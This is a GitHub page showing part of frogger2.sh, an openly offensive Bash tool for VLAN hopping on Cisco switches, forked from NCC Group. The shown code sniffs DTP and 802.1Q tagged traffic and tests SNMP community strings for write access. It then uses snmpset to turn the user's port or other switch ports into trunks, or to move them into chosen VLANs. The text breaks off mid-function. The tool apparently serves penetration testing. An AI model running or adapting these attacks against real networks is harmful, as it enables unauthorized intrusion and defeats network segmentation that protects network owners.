forked from nccgroup/vlan-hopping---frogger
-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathfrogger2.sh
1400 lines (1153 loc) · 52.9 KB
/
frogger2.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env bash
# Frogger2 - The VLAN Hopper script
# Daniel Compton
# www.commonexploits.com
# contact@commexploits.com
# Twitter = @commonexploits
# 09/2016
# Tested on Kali/2 with Cisco devices - it can be used over SSH
# User configuration Settings
TAGSEC="30" #change this value for the number of seconds to sniff for 802.1Q/ISL tagged packets
CDPSEC="60" # change this value for the number of seconds to sniff for CDP packets once verified CDP is on
CDPSECR="30" # CDP retry increase value
DTPWAIT="5" # amount of time to wait for DTP attack via yersinia to trigger
NICCHECK="on" # if you are confident your built in NIC will work within VMware then set to off. i.e you have made reg change for Intel card.
DTPSEC="60" # number of seconds to sniff for DTP in passive check option 1. packets are sent every 30-60 seconds depending on the DTP mode.
DTPSECR="30" # DTP retry increase value
SNMPVER="2c" #default version 2 or change to 1 - not tested with v3
PORT="161" #default snmp port
#Output colours
RED=$(tput setaf 1)
GREEN=$(tput setaf 2)
YELLOW=$(tput setaf 3)
BLUE=$(tput setaf 4)
MAGENTA=$(tput setaf 5)
CYAN=$(tput setaf 6)
BRIGHT=$(tput bold)
NORMAL=$(tput sgr0)
# Script begins
#===============================================================================
WRITEOID="1.3.6.1.2.1.1.6.0"
IOSVER="1.3.6.1.2.1.1.1.0"
# DTP Modes for snmp options
DTP1="Trunk Port - DTP On"
DTP2="Access Port - DTP Off"
DTP3="Desirable - DTP Desirable"
DTP4="Auto - DTP Auto"
DTP5="Trunk Port - DTP On No-Negotiate"
clear
control_c() {
#remove any tmp files
rm *.tmp 2>/dev/null
printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} CTRL-C abort detected, exiting Frogger2."
exit $?
}
VERSION="2.0"
frog() {
tput setaf 2; tput bold sgr0; cat <<"EOT"
_ _
/ \ / \
_|_0/-\0_|_
/ " \
\'-._____.-'/
.--.'._ _.'.--.
| \/ \/ |
| / \ |
___\ / / 2.0 \ \ \___
\__ ( \__ __/ ) __/
/__ |\ _/_ /| __\
|_/ /_/\_\ /_/\_\ \_|
________
|_ __ |
| |_ \_|_ .--. .--. .--./) .--./) .---. _ .--.
| _| [ `/'`\]/ .'`\ \/ /'`\; / /'`\;/ /__\\[ `/'`\]
_| |_ | | | \__. |\ \._// \ \._//| \__., | |
|_____| [___] '.__.' .',__` .',__` '.__.'[___]
( ( __))( ( __))
EOT
}
frog
printf '\n \r%s %s\n' "${GREEN} --- Frogger - The VLAN Hopper Version $VERSION --- ${NORMAL}"
# Check if we're root
if [ $EUID -ne 0 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} This program must be run as root. Run again with 'sudo'"
exit 1
fi
#Check for yersinia
which yersinia >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find the required Yersinia program, install and try again."
exit 1
fi
#Check for vconfig
which vconfig >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Warning Unable to find the required vconfig program. The script will work but not be able to create you the virtual interface."
printf '\n \r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Press enter to continue or quit and run apt-get install vlan and try again"
read ENTERKEY
fi
#Check for tshark
which tshark >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find the required tshark program, install and try again."
exit 1
fi
#Check for screen
which screen >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find the required screen program, install and try again."
exit 1
fi
ARPVER=$(arp-scan -V 2>&1 | grep "arp-scan [0-9]" |awk '{print $2}' | cut -d "." -f 1,2)
#Check for arpscan
which arp-scan >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find the required arp-scan program, install at least version 1.8 and try again. Download from www.nta-monitor.com."
exit 1
else
if [[ "$ARPVER" < "1.8" ]]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find version 1.8 of arp-scan, 1.8 is required for VLAN tagging. Install at least version 1.8 and try again. Download from www.nta-monitor.com."
exit 1
fi
fi
#Check for ethtool
which ethtool >/dev/null
if [ $? -eq 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Unable to find the required ethtool program, install and try again."
exit 1
fi
pause(){
printf '\n'
read -p "Press [Enter] key to continue." fackEnterKey
printf '\n\n'
}
# list source Ethernet interfaces to scan from
sourceinterfaces() {
printf '\n\r%s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The following Interfaces are available"
ip addr |grep -o "eth.*:" |grep -v "ether" |cut -d ":" -f1
printf '\n\r%s\n' "${BRIGHT}${RED}------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the interface to scan from as the source"
printf '\r%s\n\n' "${BRIGHT}${RED}------------------------------------------------------${NORMAL}"
read INT
ip addr |grep -o "eth.*:" |grep -v "ether" |cut -d ":" -f1 | grep -i -w "$INT" >/dev/null
if [ $? = 1 ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry the interface you entered does not exist! - check and try again."
sourceinterfaces
fi
printf '\n'
}
show_menudtpnotfound() {
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------"
printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "Do you want to scan for DTP Packets again?"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------${NORMAL}"
printf '\r%s \n\n' "${GREEN}[1]${NORMAL} - Re-run the DTP Scan again increasing the scan time by "$DTPSECR" seconds"
printf '\r%s \n\n' "${RED}[2]${NORMAL} - Exit the Script"
}
read_optionsdtpnotfound() {
TXT=$(printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "${BRIGHT}Enter choice: [ 1 - 2 ]${NORMAL}")
local choice
read -p "$TXT" choice
case $choice in
1) onedtpnotfound ;;
2) exit 0 ;;
*) printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Invalid menu selection." && sleep 2
esac
}
onedtpnotfound() {
printf '\n'
DTPRETRY="true"
clear
printf '\n'
dtpscan
}
#SNMP attack option 4 functions
snmpvlanattack(){
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the IP address of the device and press ENTER"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------${NORMAL}"
read IP
echo $IP | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' >/dev/null 2>&1
if [ $? != 0 ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "You entered an invalid IP address format."
snmpvlanattack
else
snmpvlanattackset
fi
}
snmpvlanattackset() {
MYMAC=$(ip addr |grep link/ether | awk '{print $2}' |sort -u |tr ':' ' ')
printf '\n\r%s\n' "${BRIGHT}${RED}-----------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the SNMP community string and press ENTER"
printf '\r%s\n\n' "${BRIGHT}${RED}-----------------------------------------------------${NORMAL}"
read SNMPCOM
# nmap to check SNMP is open
nmapsnmp() {
NMAP=`nmap -sU -sV -p $PORT $IP -n -Pn 2>&1 |grep "open" | awk '{ print $2 }'`
if [ "$NMAP" = "open" ]
then
printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "SNMP was found enabled on ${BRIGHT}${GREEN}"$IP"${NORMAL}"
else
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP is either closed or filtered from this device. Check connectivity and try again. Script can't continue."
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
fi
}
#nmap check snmp is open function
nmapsnmp
# SNMP community string checks
scansnmpcom() {
printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now testing SNMP community with ${BRIGHT}${GREEN}"$SNMPCOM"${NORMAL} string."
snmpwalk -t 0.5 -c $SNMPCOM -v $SNMPVER $IP 1.3.6.1.2.1.1.1.0 >/dev/null 2>&1
if [ $? != "0" ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP community name of "$SNMPCOM" did not work, or this is not a Cisco device."
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
fi
snmpcheckrw() {
echo "$GETLOCATION" >location.tmp
WRILOC=$(cat location.tmp)
snmpset -v $SNMPVER -Cq -c "$COMSCAN" $IP "$WRITEOID" s "$WRILOC" 2>/dev/null
if [ $? = 0 ]
then
printf '%s\n' " - ${BRIGHT}${RED}Read-Write${NORMAL} access"
READW="$COMSCAN"
else
printf '%s\n' " - ${BRIGHT}${YELLOW}Read-Only${NORMAL} access"
READO="$COMSCAN"
fi
}
COMSCAN="$SNMPCOM"
snmpwalk -v $SNMPVER -c $COMSCAN $IP 2>/dev/null |head -1 |grep -i iso >/dev/null
if [ $? = 0 ]
then
printf '\r%s %s' "${BRIGHT}${GREEN}[+]${NORMAL}" "Valid Community String was found ${BRIGHT}${GREEN}"$COMSCAN"${NORMAL}" ;snmpcheckrw
GETLOCATION=$(snmpwalk -v $SNMPVER -On -c "$COMSCAN" $IP "$WRITEOID" 2>&1 |cut -d ":" -f 2 | cut -d '"' -f 2)
fi
}
scansnmpcom
if [[ -z "$READW" ]]
then
printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} As the string ${BRIGHT}${GREEN}"$COMSCAN"${NORMAL} is Read-Only, I will extract all information, but VLAN Hopping will not be possible"
fi
#alter port numbers if different switch models into 10001 format.
alterportint() {
PORTSIZE=$(cat yourport.tmp |wc -L)
if [ "$PORTSIZE" = "1" ]
then
sed -i -e 's/^/1000/' yourport.tmp
elif [ "$PORTSIZE" = "2" ]
then
sed -i -e 's/^/100/' yourport.tmp
else
sed -i -e 's/^/10/' yourport.tmp
fi
}
vlanextract() {
printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Extracting VLAN Information, please wait"
VLANIDS=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.3" 2>&1 |grep 'STRING: "' |awk '{print $1}' | cut -d "." -f 16 >ids.tmp)
VLANNAMES=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.3" 2>&1 |grep 'STRING: "' |awk '{print $NF}' |sed 's/"//g' >names.tmp)
COUNTVLANS=$(cat ids.tmp |wc -l)
if [ "$COUNTVLANS" = 0 ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "No VLANs were found on this device, it is likely this device does not VLANs at all"
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
else
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "There are ${BRIGHT}${GREEN}"$COUNTVLANS"${NORMAL} VLANs configured on this device."
paste ids.tmp names.tmp |column -t 2>&1 >idsnames.tmp
IDNAMES=$(cat idsnames.tmp)
printf '\r%s \n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
printf '\r%s\n' "${BRIGHT}${GREEN}$IDNAMES${NORMAL}"
printf '\r%s \n\n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
fi
FINDMYPORT=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.1 2>&1 |grep -i "$MYMAC" |awk '{print $NR}' |cut -d "." -f 13-20)
YOURPORT=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.2 2>&1 |grep "$FINDMYPORT" |awk '{print $NF}'|sort -u)
if [ "$YOURPORT" != "OID" ]
then
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are connected into port ${BRIGHT}${GREEN}"$YOURPORT"${NORMAL} on the device"
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are within the default VLAN ${BRIGHT}${GREEN}1${NORMAL}"
VLANID2="1"
echo "$YOURPORT" >yourport.tmp
#detect if switch port numbers are in different format (as snmpset will fail if 1 and port is 10001)
COUNTPORTLENGTH=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1 |awk '{print $NF}' |wc -L)
if [ $COUNTPORTLENGTH -gt 2 ]
then
alterportint
fi
else
printf '\r%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "It seems your port is not within the default VLAN 1, it will take more checks to establish your port and VLAN"
printf '\r%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "In order to find your port I will need to run ${BRIGHT}${GREEN}$COUNTVLANS${NORMAL} SNMP queries (one for each VLAN ID)"
for VLANID2 in $(cat ids.tmp)
do
FINDMYPORT2=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID2" -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.1 2>/dev/null |awk '{print $NR}' |cut -d "." -f 13-20 |awk '{print $NR}')
if [ -n "$FINDMYPORT2" ]
then
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are within VLAN ${BRIGHT}${GREEN}"$VLANID2"${NORMAL}"
VLANID3=$VLANID2
fi
#FINDMYPORT3=$(cat myport2.tmp |grep -v "OID")
YOURPORT2=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID3" -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.2 2>/dev/null |grep "$FINDMYPORT2" |awk '{print $NF}'|sort -u)
done
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are connected into port ${BRIGHT}${GREEN}"$YOURPORT2"${NORMAL} on the device"
echo "$YOURPORT2" >yourport.tmp
#detect if switch port numbers are in different format (as snmpset will fail if 1 and port is 10001)
COUNTPORTLENGTH=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID3" -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1 |awk '{print $NF}' |wc -L)
if [ $COUNTPORTLENGTH -gt 2 ]
then
alterportint
fi
fi
}
#list DTP modes on all ports
dtplistmodes() {
snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.6.1.1.13" 2>&1 |sed -e "s/INTEGER: 1/${DTP1}/g" |sed -e "s/INTEGER: 2/${DTP2}/g" |sed -e "s/INTEGER: 3/${DTP3}/g" | sed -e "s/INTEGER: 4/${DTP4}/g" |sed -e "s/INTEGER: 5/${DTP5}/g" | sed -e "s/iso.3.6.1.4.1.9.9.46.1.6.1.1.13./Switch Port /g" >listmodes.tmp
LISTDTPMODESRO=$(cat listmodes.tmp)
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following DTP port modes are configured"
printf '\r%s\n\n' "${BRIGHT}${GREEN}$LISTDTPMODESRO${NORMAL}"
}
# Extract DTP VLAN Info after attack
dtpattackextract() {
sourceinterfaces
tshark -a duration:30 -i $INT -Y "vlan" -x -V 2>&1 |grep -o " = ID: .*" |awk '{ print $NF }' | sort --unique >vlanids.tmp &
SECONDS=0;
while sleep .5 && ((SECONDS <= 30)); do
printf '\r%s %s %2d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now Extracting VLAN IDs on interface $INT, sniffing 802.1Q tagged packets for" "$((30-SECONDS))" "seconds."
done
printf '\n\n'
# wait to ensure dtp write has finished to file and in sync
sleep 3 &
SECONDS=0;
while sleep .5 && ((SECONDS <= 3)); do
printf '\r%s %s %1d' "${BRIGHT}${BLUE}[i]${NORMAL}" "Saving DTP Capture" "$((3-SECONDS))"
done
printf '\n\n'
VLANIDS=$(cat vlanids.tmp)
if [ -z "$VLANIDS" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "No VLAN IDs were found within captured data."
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
else
printf '\n \r%s %s\n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "Your port now has access to the following VLANs."
printf '\r%s \n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
printf '\r%s\n' "${BRIGHT}${GREEN}$VLANIDS${NORMAL}"
printf '\r%s \n\n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
fi
}
#vlanextract information
vlanextract
attackselforotherchoice() {
YOURPORT3=$(cat yourport.tmp)
show_menusattackselforother() {
printf '\n\r%s\n' "${BRIGHT}${RED}------------------------------------------------------------------------------------------------"
printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "You can either attack/alter the port you are connected to, or any other port on the device."
printf '\r%s\n\n' "${BRIGHT}${RED}------------------------------------------------------------------------------------------------${NORMAL}"
printf '\r%s %s \n\n' "${GREEN}[1]${NORMAL} - Attack my own port ${BRIGHT}${GREEN}"$YOURPORT3"${NORMAL} connected to device"
printf '\r%s \n\n' "${YELLOW}[2]${NORMAL} - Attack another port on the device"
printf '\r%s \n\n' "${RED}[3]${NORMAL} - Exit the Script"
}
read_optionattackselforother() {
TXT=$(printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "${BRIGHT}Enter choice: [ 1 - 3 ]${NORMAL}")
local choice
read -p "$TXT" choice
case $choice in
1) show_menusattackselfsnmpordtp; read_optionattackselfsnmpordtp ;;
2) show_menusattackothersnmpordtp; read_optionattackothersnmpordtp ;;
3) printf '\n\n \r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Frogger2 script exited."; rm *.tmp 2>/dev/null ; exit 0 ;;
*) printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Invalid menu selection." && sleep 2
esac
}
show_menusattackselfsnmpordtp() {
printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------------------"
printf '\r%s %s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "Make TRUNK port or manual specify VLAN ID for your port ${BRIGHT}${GREEN}"$YOURPORT3"${NORMAL} ?"
printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------------------${NORMAL}"
printf '\r%s \n\n' "${GREEN}[1]${NORMAL} - Make my own port ${BRIGHT}${GREEN}"$YOURPORT3"${NORMAL} a TRUNK (access all VLANs)"
printf '\r%s \n\n' "${YELLOW}[2]${NORMAL} - Enter single VLAN ID on my own port ${BRIGHT}${GREEN}"$YOURPORT3"${NORMAL} (specific VLAN access)"
printf '\r%s \n\n' "${RED}[3]${NORMAL} - Exit the Script"
}
read_optionattackselfsnmpordtp() {
TXT=$(printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "${BRIGHT}Enter choice: [ 1 - 3 ]${NORMAL}")
local choice
read -p "$TXT" choice
case $choice in
1) dtpvlanin ; dtpattackextract ;;
2) snmphopvlanin ;;
3) printf '\n\n \r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Frogger2 script exited."; rm *.tmp 2>/dev/null ; exit 0 ;;
*) printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Invalid menu selection." && sleep 2
esac
}
show_menusattackothersnmpordtp() {
printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------------------------"
printf '\r%s %s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "Make TRUNK port or manual specify VLAN ID for another port on device?"
printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------------------------${NORMAL}"
printf '\r%s \n\n' "${GREEN}[1]${NORMAL} - Make another port a TRUNK (access all VLANs)"
printf '\r%s \n\n' "${YELLOW}[2]${NORMAL} - Enter single VLAN ID on another port (specific VLAN access)"
printf '\r%s \n\n' "${RED}[3]${NORMAL} - Exit the Script"
}
read_optionattackothersnmpordtp() {
TXT=$(printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "${BRIGHT}Enter choice: [ 1 - 3 ]${NORMAL}")
local choice
read -p "$TXT" choice
case $choice in
1) dtpvlaninwhichport ;;
2) snmphopvlaninwhichport ;;
3) printf '\n\n \r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Frogger2 script exited."; rm *.tmp 2>/dev/null ; exit 0 ;;
*) printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Invalid menu selection." && sleep 2
esac
}
show_menusattackselforother
read_optionattackselforother
}
snmphopvlanin() {
YOURPORT3=$(cat yourport.tmp)
printf '\n\r%s\n' "${BRIGHT}${RED}-------------------------------------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} What VLAN would like you to be in? Enter the ID number and press Enter"
printf '\r%s\n\n' "${BRIGHT}${RED}-------------------------------------------------------------------------------------${NORMAL}"
read WHATVLANIN
#make/ensure it is an access port (otherwise will fail on some switches)
snmpset -v $SNMPVER -Cq -c $SNMPCOM $IP "1.3.6.1.4.1.9.9.46.1.6.1.1.13.""$YOURPORT3" i 2 2>/dev/null
sleep 2
snmpset -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.68.1.2.2.1.2.""$YOURPORT3" i "$WHATVLANIN" 2>/dev/null
printf '\n\n'
SECONDS=0;
while sleep .5 && ((SECONDS <= 5)); do
printf '\r%s %s %2d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now sleeping for" "$((5-SECONDS))" "seconds whilst port state changes happen."
done
printf '\n\n'
sleep 3
printf '\r%s %s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "Your port ${BRIGHT}${GREEN}"$YOURPORT3"${NORMAL} should now be in VLAN ${BRIGHT}${GREEN}"$WHATVLANIN"${NORMAL}"
}
dtpvlanin () {
# when port is not in VLAN one you need to use comstring@vlanid i.e $SNMPCOM@50 is for vlan 50 using $SNMPCOM.
YOURPORTMOD=$(cat yourport.tmp)
LISTDTPMODES="1.3.6.1.4.1.9.9.46.1.6.1.1.13"
MANLANINFO="1.3.6.1.4.1.9.9.46.1.2"
WALKDTPMODES=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP $LISTDTPMODES 2>&1 |sed -e "s/INTEGER: 1/${DTP1}/g" |sed -e "s/INTEGER: 2/${DTP2}/g" |sed -e "s/INTEGER: 3/${DTP3}/g" | sed -e "s/INTEGER: 4/${DTP4}/g" |sed -e "s/INTEGER: 5/${DTP5}/g" 2>/dev/null)
WHATDTP=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP $LISTDTPMODES 2>&1 |sed -e "s/INTEGER: 1/${DTP1}/g" |sed -e "s/INTEGER: 2/${DTP2}/g" |sed -e "s/INTEGER: 3/${DTP3}/g" | sed -e "s/INTEGER: 4/${DTP4}/g" |sed -e "s/INTEGER: 5/${DTP5}/g" 2>/dev/null |grep "13.$YOURPORTMOD = " |cut -d "=" -f 2 |awk '{sub(/^[ \t]+/, ""); print}')
if [ "$WHATDTP" != "$DTP5" ]
then
printf '\n\n'
printf '\r%s %s\n' "${BRIGHT}${BLUE}[i]${NORMAL} Enabling DTP TRUNK on port ${BRIGHT}${GREEN}"$YOURPORTMOD"${NORMAL}"
#set to trunk port INTEG 1
snmpset -v $SNMPVER -Cq -c "$SNMPCOM" "$IP" "$LISTDTPMODES"."$YOURPORTMOD" i 1 >/dev/null 2>&1
printf '\n'
SECONDS=0;
while sleep .5 && ((SECONDS <= 25)); do
printf '\r%s %s %2d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now sleeping for" "$((25-SECONDS))" "seconds whilst port state changes happen."
done
printf '\n\n'
else
printf '\r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} It seems your port ${BRIGHT}${GREEN}"$YOURPORTMOD"${NORMAL} is already a trunk port, no need to run any DTP attacks!"
sourceinterfaces
dtpattackextract
fi
}
dtpvlanwhichportset(){
printf '\n\n'
printf '\r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Enabling DTP TRUNK on port ${BRIGHT}${GREEN}"$PORTNUMDTP"${NORMAL}"
#set to trunk port INTEG 1
snmpset -v $SNMPVER -Cq -c "$SNMPCOM" "$IP" "$LISTDTPMODES"."$PORTNUMDTP" i 1 >/dev/null 2>&1
sleep 5
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "Port ${BRIGHT}${GREEN}"$PORTNUMDTP"${NORMAL} should now be a TRUNK port."
}
dtpvlaninwhichport () {
YOURPORTMOD=$(cat yourport.tmp)
LISTDTPMODES="1.3.6.1.4.1.9.9.46.1.6.1.1.13"
printf '\n\r%s\n' "${BRIGHT}${RED}---------------------------------------------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the port number from the list below to set the port to a trunk and press ENTER"
printf '\r%s\n' "${BRIGHT}${RED}---------------------------------------------------------------------------------------------${NORMAL}"
snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1 |awk '{print $NF}' >listports.tmp
LISTPORTS=$(cat listports.tmp)
printf '\r%s\n\n' "${BRIGHT}${GREEN}$LISTPORTS${NORMAL}"
read PORTNUMDTP
cat listports.tmp | grep -o -w "$PORTNUMDTP" >/dev/null 2>&1
if [ $? != 0 ]
then
